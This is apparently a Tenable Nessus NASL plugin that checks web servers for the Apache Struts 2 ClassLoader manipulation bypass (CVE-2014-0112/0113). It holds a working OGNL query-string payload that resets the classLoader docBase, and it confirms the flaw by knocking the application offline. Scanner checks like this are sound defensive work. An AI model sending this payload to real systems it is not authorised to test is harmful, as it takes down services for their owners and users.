Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(73763);
  script_version("1.15");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2014-0112", "CVE-2014-0113");
  script_bugtraq_id(67064, 67081);
  script_xref(name:"CERT", value:"719225");

  script_name(english:"Apache Struts 2 ClassLoader Manipulation Incomplete Fix for Security Bypass");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a security bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. The version of Struts 2 in use is affected by a security
bypass vulnerability, possibly due to an incomplete fix for
ClassLoader manipulation implemented in version 2.3.16.1.

Note that this plugin will only report the first vulnerable instance
of a Struts 2 application.");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/announce.html#a20140424");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-021.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.3.16.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-0113");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts ClassLoader Manipulation Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/04/24");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/04/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/04/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"Denial of Service");

  script_copyright(english:"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = eregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = eregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = eregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

if (max_index(urls) == 0)
  audit(AUDIT_WEB_FILES_NOT, "Struts 2 .action / .do / .jsp", port);

urls = list_uniq(urls);

script = SCRIPT_NAME - ".nasl" + "-" + unixtime();

foreach url (urls)
{
  res = http_send_recv3(
    method : "GET",
    port   : port,
    item   : url,
    exit_on_fail : TRUE
  );

  if (res[0] !~ "404 Not Found")
  {
    vuln_url = url + "?class['classLoader']['resources']['dirContext']['docBase']=" + script;

    res2 = http_send_recv3(
      method : "GET",
      port   : port,
      item   : vuln_url,
      fetch404 : TRUE,
      exit_on_fail : TRUE
    );

    if (
      (res2[0] =~ "200 OK|404 Not Found")
    )
    { sleep(2);
      # One more check to ensure service is dead
      res = http_send_recv3(
        method : "GET",
        item   : url,
        port   : port,
        fetch404 : TRUE,
        exit_on_fail : TRUE
      );
      if (res[0] =~ "404 Not Found")
      {
        vuln = TRUE;
        # Stop after first vulnerable Struts app is found
        break;
      }
    }
  }
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(build_url(qs:vuln_url, port:port)),
  output     : chomp(res[2])
);